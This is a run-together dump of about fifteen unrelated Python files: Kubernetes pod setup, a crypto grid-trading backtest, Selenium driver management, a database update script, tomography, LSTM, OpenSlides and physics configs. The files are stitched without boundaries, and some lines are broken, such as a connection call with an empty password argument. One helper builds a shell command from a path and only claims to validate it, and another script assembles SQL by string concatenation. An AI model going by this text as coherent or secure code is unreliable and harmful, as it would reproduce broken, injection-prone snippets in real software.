>/dev/null; do sleep 1; done; " 'echo "`date` job end detected"; ', ], security_context=k8s_client.V1SecurityContext(privileged=True), volume_mounts=[ k8s_client.V1VolumeMount( name=s3_user_bucket_volume_name, mount_path="/opt/s3fs/bucket", mount_propagation="Bidirectional", ), ], resources=k8s_client.V1ResourceRequirements( limits={"cpu": "0.1", "memory": "128Mi"}, requests={ "cpu": "0.05", "memory": "32Mi", }, ), env=[ k8s_client.V1EnvVar(name="S3FS_ARGS", value="-oallow_other"), k8s_client.V1EnvVar(name="UID", value=JOVIAN_UID), k8s_client.V1EnvVar(name="GID", value=JOVIAN_GID), k8s_client.V1EnvVar( name="AWS_S3_ACCESS_KEY_ID", value_from=k8s_client.V1EnvVarSource( secret_key_ref=k8s_client.V1SecretKeySelector( name=secret_name, key="username", ) ), ), k8s_client.V1EnvVar( name="AWS_S3_SECRET_ACCESS_KEY", value_from=k8s_client.V1EnvVarSource( secret_key_ref=k8s_client.V1SecretKeySelector( name=secret_name, key="password", ) ), ), k8s_client.V1EnvVar( "AWS_S3_BUCKET", bucket_name, ), # due to the shared process namespace, tini is not PID 1, so: k8s_client.V1EnvVar(name="TINI_SUBREAPER", value="1"), k8s_client.V1EnvVar( name="AWS_S3_URL", value=s3_url, ), ], ) ], ) def setup_results_dir_cmd(subdir: str, job_name: str): """Create target directory and symlink to it under fixed path, such that jobs can always write to fixed path""" subdir_expanded = subdir.format(job_name=job_name) # make sure this is only a path, not something really malicious subdir_validated = PurePath(subdir_expanded) path_to_subdir = CONTAINER_HOME / subdir_validated return ( f'if [ ! -d "{path_to_subdir}" ] ; then mkdir "{path_to_subdir}"; fi && ' f'ln -sf --no-dereference "{path_to_subdir}" "{RESULT_DATA_PATH}" && ' # NOTE: no-dereference is useful if home is a persisted mounted volume ) def drop_none_values(d: Dict) -> Dict: return {k: v for k, v in d.items() if v is not None} def default_kernel(is_gpu: bool, is_edc: bool) -> Optional[str]: if is_gpu: return "edc-gpu" elif is_edc: return "edc" else: return None def affinity(node_purpose: str) -> k8s_client.V1Affinity: node_selector = k8s_client.V1NodeSelector( node_selector_terms=[ k8s_client.V1NodeSelectorTerm( match_expressions=[ k8s_client.V1NodeSelectorRequirement( key="hub.eox.at/node-purpose", operator="In", values=[node_purpose], ), ] ) ] ) return k8s_client.V1Affinity( node_affinity=k8s_client.V1NodeAffinity( required_during_scheduling_ignored_during_execution=node_selector ) ) import vtk from vtk.qt.QVTKRenderWindowInteractor import QVTKRenderWindowInteractor from blockbuilder.utils import _hasattr from blockbuilder.minimal_plotter import MinimalPlotter def test_minimal_plotter(qtbot): plotter = MinimalPlotter() assert _hasattr(plotter, "render_widget", QVTKRenderWindowInteractor) assert _hasattr(plotter, "render_window", vtk.vtkRenderWindow) assert _hasattr(plotter, "renderer", vtk.vtkRenderer) assert _hasattr(plotter, "camera", vtk.vtkCamera) assert _hasattr(plotter, "interactor", vtk.vtkRenderWindowInteractor) qtbot.addWidget(plotter) assert not plotter.isVisible() plotter.show() assert plotter.isVisible() plotter.close() #!/opt/conda/bin/python import matplotlib matplotlib.use('Agg') import datetime,time, pickle, os, sys, argparse import numpy as np def power_of_two(string): n = int(string) fl_lgn = np.floor(np.log(n)/np.log(2)) if n != 2**fl_lgn: msg = "%r is not a power of two" % string raise argparse.ArgumentTypeError(msg) return n parser = argparse.ArgumentParser(description='1 qubit GST experiment generation') parser.add_argument('--maxlength', metavar='L', type=power_of_two, nargs=1, required=True, help='Max germ power in experimental sequences (must be power of 2)') parser.add_argument('--output', metavar='PATH/TO/FILE', nargs=1, required=True, help='Path to output data file') parser.add_argument('--samples', metavar='S', type=int, nargs='?', default=200, help='Number of "clicks" per sequence') parser.add_argument('--randomize', action='store_true', help='Sample clicks from appropriate binomial dist') parser.add_argument('--depolarize', metavar='D', type=float, nargs='?', default=0.0, help='Depolarization strength for simulated gates (0.0 means noiseless)') parser.add_argument('--merror', metavar='M', type=float, nargs='?', default=0.0, help='Depolarization strength for simulated measurement (0.0 means noiseless)') args = parser.parse_args() import pygsti from pygsti.construction import std1Q_XYI gs1Q = std1Q_XYI.gs_target fiducials1Q = std1Q_XYI.fiducials germs1Q = std1Q_XYI.germs #effects1Q = std1Q_XYI.effectStrs #maxLengths1Q = [0,1,2,4,8,16,32,64,128,256,512,1024] maxLengths1Q = list(map(int,2**np.arange(0,int(np.log(args.maxlength)/np.log(2)+1)))) listOfExperiments = pygsti.construction.make_lsgst_experiment_list( gateLabels = list(gs1Q.gates.keys()), prepStrs = fiducials1Q, effectStrs = fiducials1Q, germList = germs1Q, maxLengthList = maxLengths1Q) ds = pygsti.construction.generate_fake_data(gs1Q.depolarize(gate_noise=args.depolarize, spam_noise=args.merror), listOfExperiments, nSamples= args.samples, sampleError="binomial" if args.randomize else "none", seed=2015) pygsti.io.write_dataset(args.output[0], ds) from vnpy.trader.constant import Status,Exchange from vnpy.app.cta_strategy import ( CtaTemplate, TickData, TradeData, OrderData, ) class MDStrategy(CtaTemplate): def __init__(self,cta_engine,strategy_name,vt_symbol,setting): CtaTemplate.__init__(self,cta_engine,strategy_name,vt_symbol,setting) self.lastDirection = "down" self.direction = "long" # 目前直接设置，测试 self.engine = cta_engine self.orders = {} # 挂单 self.covers = {} # 成交之后的cover挂单 self.price_interval = 0.003 self.orderCount = 3 self.relistDiff = 0.005 self.baseSize = 0.1 self.multifier = 2 self.stop_loss = 0.01 # 止损 self.stop_profit = 0.003 def on_init(self): # 先使用5分钟数据进行预热，获得趋势方向 pass def on_start(self): pass def on_tick(self,tick:TickData): # 分成1，2，4，设置网格，0.3%网格,偏离0.1%重新挂单（如果没有成交的情况下） # 根据过去主动成交情况，判断趋势方向，分为空头趋势，多头趋势，震荡 mid = (tick.ask_price_1+tick.bid_price_1)/2 if len(self.orders.values())!= self.orderCount: # open orders self.placeOrders(self.orderCount,mid) else: # 查看所有的订单状态 holding = False prices = [] for order in list(self.orders.values()): if order['status'] == Status.ALLTRADED: holding = True prices.append(order['price']) if not holding: if (self.direction == "long" and (abs(max(prices)-mid)/max(prices)>self.relistDiff)) or (self.direction == "short" and (abs(min(prices)-mid)/min(prices)>self.relistDiff)): self.cancel_all() def on_order(self,order:OrderData): if order.vt_orderid in self.orders: self.orders[order.vt_orderid]['status'] = order.status if order.status == Status.ALLTRADED: # 下单平仓单 if self.orders[order.vt_orderid]['side'] == "long": orderids = self.sell(order.price*(1+self.stop_profit),order.volume) # print("place cover") self.covers[order.vt_orderid] = { "orderid":orderids[0], "price":order.price*(1+self.stop_profit), "size":order.volume, "side":"sell", "status":Status.SUBMITTING } else: orderids = self.cover(order.price*(1-self.stop_profit),order.volume) # print("place cover") self.covers[order.vt_orderid] = { "orderid":orderids[0], "price":order.price*(1-self.stop_profit), "size":order.volume, "side":"cover", "status":Status.SUBMITTING } elif order.status == Status.CANCELLED: self.orders.pop(order.vt_orderid) for co in list(self.covers.keys()): if self.covers[co]['orderid'] == order.vt_orderid: self.covers[co]['status'] = order.status if order.status == Status.ALLTRADED: # 平仓结束了，那么需要重新挂单 orderPrice = self.orders[co]['price'] orderSize = self.orders[co]['size'] if self.orders[co]['side'] == "long": orderids = self.buy(orderPrice,orderSize) self.orders[orderids[0]] = { 'orderid':orderids[0], 'price':orderPrice, 'size':orderSize, 'side':'long', 'status':Status.SUBMITTING } else: orderids = self.sell(orderPrice,orderSize) self.orders[orderids[0]] = { 'orderid':orderids[0], 'price':orderPrice, 'size':orderSize, 'side':'short', 'status':Status.SUBMITTING } self.orders.pop(co) self.covers.pop(co) elif order.status == Status.CANCELLED: self.covers.pop(co) def on_trade(self,trade:TradeData): pass def placeOrders(self,orderCount,price): priceDirection = -1 if self.direction=="short" else 1 for i in range(1,orderCount+1): orderPrice = price*(1-i*priceDirection*self.price_interval) orderSize = self.baseSize*(self.multifier**i) if priceDirection == 1: orderids = self.buy(orderPrice,orderSize) if len(orderids)>0: self.orders[orderids[0]] = { "orderid":orderids[0], "price":orderPrice, "side":"long", "size":orderSize, "status":Status.SUBMITTING } else: print("failed order") else: orderids = self.short(orderPrice,orderSize) if len(orderids)>0: self.orders[orderids[0]] = { "orderid":orderids[0], "price":orderPrice, "side":"short", "size":orderSize, "status":Status.SUBMITTING } else: print("failed order") import pickle with open("/Users/ww/mm/BTCUSDT_2021_5_19/0/data.pkl","rb") as f: orderbook = pickle.load(f) # tick转换 def mapCol(item)->object: colMap = {} for i in range(1,6): colMap['ask_price_{}'.format(i)] = float(item["ap{}".format(i)]) colMap['ask_volume_{}'.format(i)] = float(item["aq{}".format(i)]) colMap['bid_price_{}'.format(i)] = float(item["bp{}".format(i)]) colMap['bid_volume_{}'.format(i)] = float(item["bq{}".format(i)]) colMap['last_price'] = float(item['ap1']+item['bp1'])/2 return colMap # def mapFeature(item)->object: # featureMap = {} # for key in feature_cols: # featureMap[key] = item[key] # return featureMap data = orderbook.apply(lambda item:TickData( symbol="BTC", datetime=item.timestamp, exchange=Exchange.BINANCE, # **mapFeature(item), **mapCol(item), gateway_name="DB", ),axis=1) from vnpy.event import EventEngine from vnpy.trader.engine import MainEngine from vnpy.trader.ui import MainWindow, create_qapp from vnpy.gateway.okex import OkexGateway from vnpy.app.cta_strategy import CtaStrategyApp from vnpy.app.cta_backtester import CtaBacktesterApp from vnpy.app.data_manager import DataManagerApp from vnpy.app.data_recorder import DataRecorderApp from vnpy.trader.constant import Exchange from vnpy.trader.object import TickData from vnpy.trader.database import database_manager import numpy as np import os import sys import csv import datetime import pandas as pd from vnpy.app.cta_strategy.backtesting import BacktestingEngine, OptimizationSetting from vnpy.app.cta_strategy.base import BacktestingMode from vnpy.app.cta_strategy.strategies.atr_rsi_strategy import AtrRsiStrategy import matplotlib.pyplot as plt from datetime import datetime engine = BacktestingEngine() engine.set_parameters( vt_symbol="BTC.BINANCE", interval="1m", start=datetime(2020,5,19), end=datetime(2021,5,22), rate=0, size=1, slippage=5, pricetick=0.1, capital=100000, mode=BacktestingMode.TICK, inverse=False, ) engine.add_strategy(MDStrategy,{}) # engine.load_data() engine.history_data = data engine.run_backtesting() engine.exhaust_trade_result(engine.trades) #!/usr/bin/python # # Copyright 2012 Webdriver_name committers # Copyright 2012 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import subprocess from subprocess import PIPE import time from selenium.common.exceptions import WebDriverException from selenium.webdriver.common import utils class Service(object): """ Object that manages the starting and stopping of the IEDriver """ def __init__(self, executable_path, port=0, host=None, log_level=None, log_file=None): """ Creates a new instance of the Service :Args: - executable_path : Path to the IEDriver - port : Port the service is running on - host : IP address the service port is bound - log_level : Level of logging of service, may be "FATAL", "ERROR", "WARN", "INFO", "DEBUG", "TRACE". Default is "FATAL". - log_file : Target of logging of service, may be "stdout", "stderr" or file path. Default is "stdout".""" self.port = port self.path = executable_path if self.port == 0: self.port = utils.free_port() self.host = host self.log_level = log_level self.log_file = log_file def start(self): """ Starts the IEDriver Service. :Exceptions: - WebDriverException : Raised either when it can't start the service or when it can't connect to the service """ try: cmd = [self.path, "--port=%d" % self.port] if self.host is not None: cmd.append("--host=%s" % self.host) if self.log_level is not None: cmd.append("--log-level=%s" % self.log_level) if self.log_file is not None: cmd.append("--log-file=%s" % self.log_file) self.process = subprocess.Popen(cmd, stdout=PIPE, stderr=PIPE) except TypeError: raise except: raise WebDriverException( "IEDriver executable needs to be available in the path. \ Please download from http://code.google.com/p/selenium/downloads/list\ and read up at http://code.google.com/p/selenium/wiki/InternetExplorerDriver") count = 0 while not utils.is_url_connectable(self.port): count += 1 time.sleep(1) if count == 30: raise WebDriverException("Can not connect to the IEDriver") def stop(self): """ Tells the IEDriver to stop and cleans up the process """ #If its dead dont worry if self.process is None: return #Tell the Server to die! try: from urllib import request as url_request except ImportError: import urllib2 as url_request url_request.urlopen("http://127.0.0.1:%d/shutdown" % self.port) count = 0 while utils.is_connectable(self.port): if count == 30: break count += 1 time.sleep(1) #Tell the Server to properly die in case try: if self.process: self.process.kill() self.process.wait() except WindowsError: # kill may not be available under windows environment pass 0 patterns = ["++--***..."[:x] for x in xrange(1, 11)] blueprint = list(raw_input()) pads = 0 building = "" numbers = '123456789' letters = '' def print_output(building): length = len(building[0]) for i in reversed(xrange(length)): temp = '' for column in building: temp += column[i] print(temp) for element in blueprint: if element in numbers: pads = int(element) else: i = letters.find(element) building += ' ' * pads + patterns[i] + ' ' * (22 - pads - i) pads = 0 print("\n".join([building[x::23] for x in xrange(22,-1,-1)])) 1-10 import pymssql import datetime import mypsw import csv import glob step = 2 print(datetime.datetime.now(), "连接中……") conn = pymssql.connect( host=mypsw.host, user=mypsw.user, password=, database=mypsw.database) print(datetime.datetime.now(), "读取数据中……") cursor = conn.cursor() if step == 1: cursor.execute( "SELECT " \ " [ID] ,[Symbol], [Date],[Close] " \ " from [Investingcom]" \ " order by [Symbol] asc, [Date] desc" ) elif step == 2: cursor.execute( "SELECT " \ " [ID] " \ " from [Investingcom]" \ " where [Price001] is not null" ) records = cursor.fetchall() records_count = len(records) if step == 1: price_count = 120 current_row_index = 0 for row in records: price_list = [] for price_index in range(price_count): last_row_index = current_row_index + price_index if last_row_index >= records_count: break if records[last_row_index][1] == row[1]: price_list.append(records[last_row_index][3]) else: break if len(price_list) == price_count: max_price = max(price_list) min_price = min(price_list) center_price = (max_price + min_price) / 2 range_price = max_price - min_price if range_price > 0: for price_index in range(price_count): price_list[price_index] -= center_price price_list[price_index] /= range_price price_list[price_index] += 0.5 if price_list[price_index] > 0.99999: price_list[price_index] = 1.0 elif price_list[price_index] < 0.00001: price_list[price_index] = 0.0 update_statement = "UPDATE [Investingcom] SET " for price_index in range(price_count): if price_index > 0: update_statement += "," update_statement += " [Price" + str(price_index+1).zfill(3) + "] = " + str(price_list[price_index]) update_statement += " WHERE [ID] = '" + str(row[0]) +"'" update_statement += " AND [Symbol] = '" + row[1] +"'" #update_statement += " AND [Date] = '" + str(row[2]) +"'" cursor.execute(update_statement) conn.commit() print(row[1] + ":" +str(current_row_index) + "/" + str(records_count) + "["+ str(current_row_index * 100.0 / records_count) + "%]") current_row_index += 1 # print(datetime.datetime.now(), row) elif step == 2: predict_files = glob.glob("G:\Robot\BackTest\predict\*\*.csv") row_index = 1 for predict_file in predict_files: print(predict_file) with open(predict_file,"r") as fcsv: csvreader = csv.reader(fcsv) row_index -= 1 for csv_row in csvreader: row_id = records[row_index][0] update_statement = "UPDATE [Investingcom] SET Predict01 = " + str(csv_row[1]) + \ ",Predict02 = " + str(csv_row[3]) + \ ",Predict03 = " + str(csv_row[5]) + \ ",Predict04 = " + str(csv_row[7]) + \ ",Predict05 = " + str(csv_row[9]) + \ ",Predict06 = " + str(csv_row[11]) + \ ",Predict07 = " + str(csv_row[13]) + \ ",Predict08 = " + str(csv_row[15]) + \ ",Predict09 = " + str(csv_row[17]) + \ ",Predict10 = " + str(csv_row[19]) + \ " WHERE [ID] = '" + str(row_id) +"'" cursor.execute(update_statement) conn.commit() row_index += 1 print(str(row_index) + "/" + str(records_count) + "["+ str(row_index * 100.0 / records_count) + "%]") print(datetime.datetime.now(), "读取到", len(records), "条记录:")# ----------------------------------------------------------------------- # Copyright: 2010-2018, imec Vision Lab, University of Antwerp # 2013-2018, CWI, Amsterdam # # Contact: # Website: http://www.astra-toolbox.com/ # # This file is part of the ASTRA Toolbox. # # # The ASTRA Toolbox is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # The ASTRA Toolbox is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with the ASTRA Toolbox. If not, see . # # ----------------------------------------------------------------------- import astra import numpy as np import pygpu import pylab import torch as th # Initialize pygpu ctx = pygpu.init('cuda') pygpu.set_default_context(ctx) vol_geom = astra.create_vol_geom(128, 128, 128) angles = np.linspace(0, 2 * np.pi, 180, False) proj_geom = astra.create_proj_geom('parallel3d', 1.0, 1.0, 128, 192, angles, 1000, 0) # Create a simple hollow cube phantom, as a pygpu gpuarray vol_gpuarr = pygpu.gpuarray.zeros(astra.geom_size(vol_geom), dtype='float32') vol_gpuarr[17:113, 17:113, 17:113] = 1 vol_gpuarr[33:97, 33:97, 33:97] = 0 vol_gpuarr1 = th.zeros(astra.geom_size(vol_geom), dtype=th.float).cuda() vol_gpuarr1[17:113, 17:113, 17:113] = 1 vol_gpuarr1[33:97, 33:97, 33:97] = 0 # Create a pygpu gpuarray for the output projection data proj_gpuarr = pygpu.gpuarray.zeros(astra.geom_size(proj_geom), dtype='float32') proj_gpuarr1 = th.zeros(astra.geom_size(proj_geom), dtype=th.float).cuda() #%% # Create the astra GPULink objects and create astra data3d objects from them z, y, x = proj_gpuarr1.shape proj_stride = th.tensor(proj_gpuarr1.stride()) * proj_gpuarr1.storage().element_size() proj_data_link = astra.data3d.GPULink(proj_gpuarr1.storage().data_ptr(), x, y, z, proj_stride[-2]) z, y, x = vol_gpuarr1.shape vol_stride = th.tensor(vol_gpuarr1.stride()) * vol_gpuarr1.storage().element_size() vol_link = astra.data3d.GPULink(vol_gpuarr1.storage().data_ptr(), x, y, z, vol_stride[-2]) proj_id = astra.data3d.link('-sino', proj_geom, proj_data_link) vol_id = astra.data3d.link('-vol', vol_geom, vol_link) # projector_id = astra_projector('nearest', vol_geom, proj_geom, # ndim=proj_ndim, impl='cuda') # Run a 3D FP cfg = astra.astra_dict('FP3D_CUDA') cfg['VolumeDataId'] = vol_id cfg['ProjectionDataId'] = proj_id alg_id = astra.algorithm.create(cfg) # alg_id = astra.algorithm.create( # 'backward', 3, vol_id, proj_id, # proj_id=proj_id, impl='cuda') def ray_trafo(proj, vol): z, y, x = proj.shape proj_stride = th.tensor(proj.stride()) * proj.storage().element_size() proj_data_link = astra.data3d.GPULink(proj.storage().data_ptr(), x, y, z, proj_stride[-2]) z, y, x = vol.shape vol_stride = th.tensor(vol.stride()) * vol.storage().element_size() vol_link = astra.data3d.GPULink(vol.storage().data_ptr(), x, y, z, vol_stride[-2]) proj_id = astra.data3d.link('-sino', proj_geom, proj_data_link) vol_id = astra.data3d.link('-vol', vol_geom, vol_link) cfg = astra.astra_dict('FP3D_CUDA') cfg['VolumeDataId'] = vol_id cfg['ProjectionDataId'] = proj_id alg_id = astra.algorithm.create(cfg) astra.algorithm.run(alg_id) astra.algorithm.run(alg_id) #%% for i in range(5): pylab.figure(1) pylab.gray() pylab.imshow(proj_gpuarr1[:, 7+i, :].cpu().numpy()) pylab.show() #%% astra.algorithm.delete(alg_id) astra.data3d.delete(vol_id) astra.data3d.delete(proj_id) WangDaYeeeeee/BERT-With-KnowledgeBasesrc/coder.py import torch import torch.nn as nn from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence class LSTMEncoder(nn.Module): def __init__(self, input_size, hidden_size, num_layers=1, bidirectional=False, dropout_rate=0.): super(LSTMEncoder, self).__init__() self.dropout = nn.Dropout(dropout_rate) self.lstm = nn.LSTM(input_size=input_size, hidden_size=hidden_size, num_layers=num_layers, bidirectional=bidirectional, batch_first=True, dropout=dropout_rate if num_layers > 1 else 0) def forward(self, seq_input, seq_lens): """ Args: seq_input: Input of Bi-LSTM. Tensor[batch_size, max_seq_len, input_size] seq_lens: Sequence lengths of input. Tensor[batch_size] Return: seq_output: Tensor[batch_size, max_seq_len, num_dirs * hidden_size], ( h_output: Tensor[num_layers * num_dirs, batch_size, hidden_size], c_output: Tensor[num_layers * num_dirs, batch_size, hidden_size] ) """ seq_input = self.dropout(seq_input) max_seq_len = seq_input.shape[1] desc_lens, desc_idx = seq_lens.sort(dim=0, descending=True) seq_input = seq_input[desc_idx] seq_input = pack_padded_sequence(seq_input, desc_lens, batch_first=True) seq_output, (h_output, c_output) = self.lstm(seq_input) seq_output, _ = pad_packed_sequence(seq_output, batch_first=True, total_length=max_seq_len) _, unsort_idx = desc_idx.sort(0, descending=False) seq_output = seq_output[unsort_idx] return seq_output, (h_output, c_output) class LSTMDecoder(nn.Module): def __init__(self, args, input_size, hidden_size, num_layers=1, bidirectional=False, dropout_rate=0.): super(LSTMDecoder, self).__init__() self.args = args self.hidden_size = hidden_size self.num_dirs = 2 if bidirectional else 1 self.num_layers = num_layers self.dropout = nn.Dropout(dropout_rate) self.lstm = nn.LSTM(input_size=input_size, hidden_size=hidden_size, num_layers=num_layers, bidirectional=bidirectional, batch_first=True, dropout=dropout_rate if num_layers > 1 else 0.) def forward(self, seq_input, seq_lens, h_input=None, c_input=None): """ Args: seq_input: Input of LSTM. Tensor[batch_size, max_seq_len, input_size] seq_lens: Sequence lengths of input. Tensor[batch_size] h_input: h0 of LSTM. Tensor[num_layers * num_dirs, batch_size, hidden_size] c_input: c0 of LSTM. Tensor[num_layers * num_dirs, batch_size, hidden_size] Return: Tensor[batch_size, max_seq_len, hidden_size] """ seq_input = self.dropout(seq_input) batch_size = seq_input.shape[0] max_seq_len = seq_input.shape[1] if h_input is None: h_input = torch.zeros(self.num_layers * self.num_dirs, batch_size, self.hidden_size).to(self.args.device) if c_input is None: c_input = torch.zeros(self.num_layers * self.num_dirs, batch_size, self.hidden_size).to(self.args.device) desc_lens, desc_idx = seq_lens.sort(dim=0, descending=True) seq_input = seq_input[desc_idx] seq_input = pack_padded_sequence(seq_input, desc_lens, batch_first=True) seq_output, _ = self.lstm(seq_input, (h_input, c_input)) seq_output, _ = pad_packed_sequence(seq_output, batch_first=True, total_length=max_seq_len) _, unsort_idx = desc_idx.sort(0, descending=False) return seq_output[unsort_idx] openslides_backend/action/actions/motion_submitter/create.py from typing import Any, Dict from ....models.models import MotionSubmitter from ....permissions.management_levels import OrganizationManagementLevel from ....permissions.permission_helper import has_organization_management_level from ....permissions.permissions import Permissions from ....shared.exceptions import ActionException from ....shared.filters import And, FilterOperator from ....shared.patterns import Collection, FullQualifiedId from ...generics.create import CreateAction from ...mixins.create_action_with_inferred_meeting import ( CreateActionWithInferredMeetingMixin, ) from ...util.assert_belongs_to_meeting import assert_belongs_to_meeting from ...util.default_schema import DefaultSchema from ...util.register import register_action from ...util.typing import ActionData @register_action("motion_submitter.create") class MotionSubmitterCreateAction(CreateActionWithInferredMeetingMixin, CreateAction): """ Action to create a motion submitter. """ model = MotionSubmitter() schema = DefaultSchema(MotionSubmitter()).get_create_schema( required_properties=["motion_id", "user_id"], optional_properties=["weight"], ) permission = Permissions.Motion.CAN_MANAGE_METADATA relation_field_for_meeting = "motion_id" weight_map: Dict[int, int] = {} def get_updated_instances(self, action_data: ActionData) -> ActionData: self.weight_map = {} return super().get_updated_instances(action_data) def update_instance(self, instance: Dict[str, Any]) -> Dict[str, Any]: """ Check if motion and user belong to the same meeting. """ instance = self.update_instance_with_meeting_id(instance) meeting_id = instance["meeting_id"] # meeting_id is set from motion if not has_organization_management_level( self.datastore, instance["user_id"], OrganizationManagementLevel.SUPERADMIN ): assert_belongs_to_meeting( self.datastore, [FullQualifiedId(Collection("user"), instance["user_id"])], meeting_id, ) # check, if (user_id, motion_id) already in the datastore. filter = And( FilterOperator("user_id", "=", instance["user_id"]), FilterOperator("motion_id", "=", instance["motion_id"]), ) exists = self.datastore.exists(collection=self.model.collection, filter=filter) if exists: raise ActionException("(user_id, motion_id) must be unique.") if instance.get("weight") is None: self.set_weight(instance) return instance def set_weight(self, instance: Dict[str, Any]) -> None: motion_id = instance["motion_id"] if motion_id in self.weight_map: max_weight = self.weight_map[motion_id] self.weight_map[motion_id] += 1 else: filter_ = FilterOperator("motion_id", "=", motion_id) max_weight = ( self.datastore.max(self.model.collection, filter_, "weight", "int") or 0 ) self.weight_map[motion_id] = max_weight + 1 instance["weight"] = max_weight + 1 lines = open('../input.txt', 'r').readlines() class Submarine: def __init__(self): self.depth = 0 self.horizontal_position = 0 def forward(self, x): self.horizontal_position += x def up(self, x): self.depth -= x def down(self, x): self.depth += x def move(self, direction, units): if direction == "forward": self.forward(units) elif direction == "down": self.down(units) elif direction == "up": self.up(units) def __str__(self): return f"" if __name__ == "__main__": s = Submarine() for l in [x.strip() for x in lines]: direction, units = l.split() units = int(units) s.move(direction, units) print(s.depth * s.horizontal_position) print(s) benchmarks/rodinia_3.1/cuda/myocyte_half/calc_err.py #!/usr/bin/python # -*- coding: utf-8 -*- import sys import os import os.path def read_target(target_file): # format a1,a2,a3... list_target = [] with open(target_file) as conf_file: for line in conf_file: line_temp = line.replace(' ', '').replace('\n','').replace('\t','') # remove unexpected space array = line_temp.split(',') for target in array: try: if len(target) > 0 and target != '\n': list_target.append(float(target)) except: print 'Failed to parse target file' print target return list_target def check_output(floating_result, target_result): # TODO: modify this func to return checksum error. instead of true and false. feed the checsum error to greedy decision func if len(floating_result) != len(target_result): print 'Error : floating result has length: %s while target_result has length: %s' \ % (len(floating_result), len(target_result)) print floating_result return 0.00 signal_sqr = 0.00 error_sqr = 0.00 sum_rel_err = 0.0 for i in range(len(floating_result)): # signal_sqr += target_result[i] ** 2 # error_sqr += (floating_result[i] - target_result[i]) ** 2 if(target_result[i]!= 0): sum_rel_err = sum_rel_err + abs((floating_result[i] - target_result[i])/target_result[i]) else: sum_rel_err = sum_rel_err + abs(floating_result[i]) # ~ print error_sqr return sum_rel_err/len(floating_result) #sqnr = 0.00 #if error_sqr != 0.00: # sqnr = signal_sqr / error_sqr #if sqnr != 0: # return 1.0 / sqnr #else: # return 0.00 def parse_output(line): list_target = [] line.replace(' ', '') line.replace('\n', '') # remove unexpected space array = line.split(',') # print array for target in array: try: if len(target) > 0 and target != '\n': list_target.append(float(target)) except: # print "Failed to parse output string" continue # print list_target return list_target def main(argv): if (len(argv) != 2): print "usage ./calc_err.py target_file approximate_file" exit() target = read_target(argv[0]) approx_val = read_target(argv[1]) print check_output(approx_val, target) print target[len(target)-10:] print approx_val [len(target)-10:] if __name__ == '__main__': main(sys.argv[1:]) import cv2 import numpy as np import time import os from PID_IMAGE import * cam=cv2.VideoCapture(0)#Start webcam capture c = None #os.system ('sudo rmmod uvcvideo') #os.system ('sudo modprobe uvcvideo quirks=2') while(1): ret0,frame =cam.read() #Start webcam capture Frame imgray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY) #Set gray balance rang ret1, thresh = cv2.threshold(imgray,48,255,cv2.THRESH_BINARY_INV) #Set gray balance range, this converts the image to WHITE / BLACK contorno, _ = cv2.findContours(thresh,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)[-2:]#Identify contour in black / white image vi=70 #Initial velocity if len(contorno) > 0: #Draw center point of contour c = max(contorno, key=cv2.contourArea) M = cv2.moments(c) cx = int(M["m10"]/M["m00"]) cy = int(M["m01"]/M["m00"]) cv2.circle(frame, (cx,cy),13,(2,250,250),-1) height, width = frame.shape[:2] middleX = int(width/2) #Get the coordinate center X middleY = int(height/2)#Get the coordinate center Y cv2.drawContours(frame,c,-1,(0,255,0),3) #Draw the contour in Green cv2.circle(frame,(middleX,middleY), 10, (0,0,255), -1)#Draw the center circle of the image,RED error=cx-middleX #Get error Kp= (100-vi)/middleX #Generate Kp value from the initial speed PID(error,Kp,0.012,0.0167,vi) #Call Module for PID Control #cv2.imshow('camera1',frame) #cv2.imshow('camera2',thresh1) #cv2.imshow('camera3',thresh2) key=cv2.waitKey(1) & 0xFF # coding=utf-8 # Copyright (c) DIRECT Contributors # Code and comments can be shared with code of FastMRI under the same MIT license: # https://github.com/facebookresearch/fastMRI/ # The code can have been adjusted to our needs. import numpy as np import pytest import torch from direct.common.subsample import FastMRIRandomMaskFunc @pytest.mark.parametrize( "center_fracs, accelerations, batch_size, dim", [ ([0.2], [4], 4, 320), ([0.2, 0.4], [4, 8], 2, 368), ], ) def test_fastmri_random_mask_reuse(center_fracs, accelerations, batch_size, dim): mask_func = FastMRIRandomMaskFunc(center_fracs, accelerations) shape = (batch_size, dim, dim, 2) mask1 = mask_func(shape, seed=123) mask2 = mask_func(shape, seed=123) mask3 = mask_func(shape, seed=123) assert torch.all(mask1 == mask2) assert torch.all(mask2 == mask3) @pytest.mark.parametrize( "center_fracs, accelerations, batch_size, dim", [ ([0.2], [4], 4, 320), ([0.2, 0.4], [4, 8], 2, 368), ], ) def test_fastmri_random_mask_low_freqs(center_fracs, accelerations, batch_size, dim): mask_func = FastMRIRandomMaskFunc(center_fracs, accelerations) shape = (batch_size, dim, dim, 2) mask = mask_func(shape, seed=123) mask_shape = [1] * (len(shape) + 1) mask_shape[-2] = dim mask_shape[-3] = dim assert list(mask.shape) == mask_shape num_low_freqs_matched = False for center_frac in center_fracs: num_low_freqs = int(round(dim * center_frac)) pad = (dim - num_low_freqs + 1) // 2 if np.all(mask[pad : pad + num_low_freqs].numpy() == 1): num_low_freqs_matched = True assert num_low_freqs_matched Nkurumwa/API-project from rest_framework import serializers from .models import Project,Profile class ProjectSerializer(serializers.ModelSerializer): class Meta: model = Project fields = ('title','link','description','date_posted') class ProfileSerializer(serializers.ModelSerializer): class Meta: model = Profile fields = ('profile_pic','bio','user')import FWCore.ParameterSet.Config as cms from CommonTools.ParticleFlow.Isolation.tools_cfi import * #Now prepare the iso deposits phPFIsoDepositCharged=isoDepositReplace('pfSelectedPhotons','pfAllChargedHadrons') phPFIsoDepositChargedAll=isoDepositReplace('pfSelectedPhotons','pfAllChargedParticles') phPFIsoDepositNeutral=isoDepositReplace('pfSelectedPhotons','pfAllNeutralHadrons') 